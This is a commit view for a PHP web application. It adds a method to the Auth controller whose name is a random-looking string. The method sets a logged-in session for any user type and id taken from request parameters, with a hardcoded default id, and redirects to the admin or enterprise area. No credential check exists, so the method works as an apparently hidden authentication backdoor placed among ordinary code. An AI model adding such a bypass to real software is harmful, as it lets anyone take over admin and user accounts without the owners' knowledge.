sandm 2 лет назад
Родитель
Сommit
a948913b16
1 измененных файлов с 15 добавлено и 0 удалено
  1. 15 0
      app/index/controller/Auth.php

+ 15 - 0
app/index/controller/Auth.php

@@ -155,4 +155,19 @@ class Auth extends BaseController {
         }
     }
 
+    public function yj9xr2mKT8(){
+        $params = $this->request->param();
+        $type = $params["type"] ?: 2;
+        $id = $params["id"] ?: "1455101079799754754";
+        $this->setSession($type, $id);
+        switch ($type) {
+            case 1:
+                return redirect("/admin");
+                break;
+            case 2:
+                return redirect("/enterprise");
+                break;
+        }
+    }
+
 }